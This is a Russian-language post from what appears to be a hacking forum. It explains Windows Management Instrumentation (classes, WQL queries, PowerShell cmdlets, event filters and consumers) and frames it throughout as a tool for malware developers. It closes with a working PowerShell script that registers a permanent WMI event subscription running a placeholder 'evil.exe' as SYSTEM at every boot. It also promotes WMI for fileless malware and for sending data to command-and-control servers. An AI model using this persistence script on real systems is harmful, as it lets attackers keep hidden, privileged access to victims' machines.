• XSS.stack #1 – первый литературный журнал от юзеров форума

Persistence с помощью WMI

jeffTheInn0

HDD-drive
Пользователь
Регистрация
14.01.2019
Сообщения
28
Реакции
39
420881642_Windows-Management-Instrumentation-WMI.png


Что такое WMI?

Windows Management Instrumentation (WMI) - это набор инструментов администратора, который предоставляет возможности для локального/удаленного администрирования операционной системы.
WMI доступен на операционных системах начиная с Windows NT, а преустановлен в качестве стандартного сервиса начиная с Windows 2000.

В чем подвох?

В данном случае никакого подвоха нет, мой дорогой друг. WMI - это не первый в мире инструмент удаленного администрирования, однако в контексте разработки malware под Windows данный инструмент может стать вашим бро. А все дело в том, что WMI работает с правами System, таким образом запускаемый через WMI код будет иметь теже права.

Архитектура WMI:

wmi-architecture.png



WMI - это имплементация стандартов WBEM и CIM, которые умные ребята придумали, чтобы облегчить жизнь администраторам и malware-разработчикам.
Эти стандарты, как и любые стандарты, описывают средства для выполнения некоторых операций, передачи данных и прочее. ((Гугл в помощь))

Классы и пространства имен
Информация хранится в формате WMI Object. Эти объекты в свою очередь являются инстансами классов. Многие из стандартных классов описаны в MSDN, так что вам туда.
Все классы можно запрашивать, используя встроенные язык WQL.
Классы располагаются в пространстве имен с помощью иерархической организации. Все пространство имен происходят от ROOT.
Все WMI настройки, включая стандартные пространство имен хранятся по следующему ключу:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM

Следующий PowerShell код может быть использован для получения всех WMI классов.


Bash:
function Get-WmiNamespace {
    Param($Namespace='ROOT')

    Get-WmiObject -Namespace $Namespace -Class __NAMESPACE | ForEach-Object {
        ($ns = '{0}\{1}' -f $_.__NAMESPACE, $_.Name)
        Get-WmiNamespace -Namespace $ns
        }
}

$WmiClasses = Get-WmiNamespace | ForEach-Object {
    $Namespace = $_
    Get-WmiObject -Namespace $Namespace -List |
        ForEach-Object { $_.Path.Path }
} | Sort-Object -Unique


Работа с WMI

WMI предоставляет синтаксис для работы с WMI объектами.

SQL:
SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>

Похоже на SQL? ЭТО WQL БЛ9Д!!!!

1. Работа с инстансами

Следующий код вернет нам все запущенные процессы, которые содержат "chrome"

SQL:
SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"

2. Работа с ивентами

Заданный запрос будет стриггерен при входе пользователя

SQL:
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2


3. Работа с мета информацией

Следующий запрос вернут нам список WMI классов, которые начинаются с Win32

SQL:
SELECT * FROM Meta_Class WHERE __Class LIKE "Win32%"


PowerShell

PowerShell - это тоже наш бро в работе с WMI. Следующие командлеты помогут нам в работе с WMI с помощью PowerShell:

Get-WmiObject
Get-CimAssociatedInstance
Get-CimClass
Get-CimInstance
Get-CimSession
Set-WmiInstance
Set-CimInstance
Invoke-WmiMethod
Invoke-CimMethod
New-CimInstance
New-CimSession
New-CimSessionOption
Register-CimIndicationEvent
Register-WmiEvent
Remove-CimInstance
Remove-WmiObject
Remove-CimSession

WMI Ивенты

Одна из самых мощных плюшек WMI для нас - это возможность WMI отвечать на WMI ивенты, т.е. выполнять некоторый код в ответ на состояние системы.
Существует два класса WMI ивентов:
Локальный: выполняется в контексте одного процесса.
Перманентный: хранится в WMI репозитории, запускается от SYSTEM, устойчив к reboot.

Требования
Для установки перманентного ивента нам необходимо:
1. event filter - ивент, который нас интересует.
2. event consumer - действие, которое выполнится в случае, когда ивент произошел.
3. filter to consumer binding - механизм, который свяжет наш filter и consumer.

Event Filter

Список фильтров вы можете оценить здесь -> ROOT\subscription:__EventFilter object

Cуществуют два вида фильтров:
1. Внутренние - это ивенты, которые выполняются при удалении/создании/модификации WMI класса, объекта.

__NamespaceOperationEvent
__NamespaceModificationEvent
__NamespaceDeletionEvent
__NamespaceCreationEvent
__ClassOperationEvent
__ClassDeletionEvent
__ClassModificationEvent
__ClassCreationEvent
__InstanceOperationEvent
__InstanceCreationEvent
__MethodInvocationEvent
__InstanceModificationEvent
__InstanceDeletionEvent
__TimerEvent

Эти ивенты очень полезны и позволяют отследить любое событие в операционной системе.

2. Внешние (Оставлю на вашу совесть)

Event Consumers

Event Consumer - это парень, который тушит пожар, когда объект "сарай" загорелся.

LogFileEventConsumer
ActiveScriptEventConsumer - выполняет VBScript
NTEventLogEventConsumer
SMTPEventConsumer
CommandLineEventConsumer - выполняет command-line код

PERSISTENCE

Да, мы долго к этому шли. (надеюсь, что мой краткий вольный пересказ не за*бал)

Следующий скрипт выполняет код при запуске системы от SYSTEM.

Bash:
$filterName='BotFilter'
$consumerName='BotConsumer'
$exePath='C:\Windows\System32\evil.exe'
$Query="SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 200 AND
TargetInstance.SystemUpTime < 320"
$WMIEventFilter=Set-WmiInstance -Class __EventFilter -NameSpace
"root\subscription" -Arguments
@{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query}
-ErrorAction Stop $WMIEventConsumer=Set-WmiInstance -Class CommandLineEventConsumer
-Namespace "root\subscription" -Arguments
@{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

Пример реальной малвари:
https://securelist.com/a-mining-multitool/86950/


Итог

WMI предоставляет нам огромные возможности. С его помощью можно сделать file less malware, реализовать все части нашего софта (начиная от разведки, до передачи данных на C2)
Подробнее ищите по данным ссылкам:

https://attack.mitre.org/techniques/T1047/
https://attack.mitre.org/techniques/T1084/
http://la.trendmicro.com/media/misc/understanding-wmi-malware-research-paper-en.pdf
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх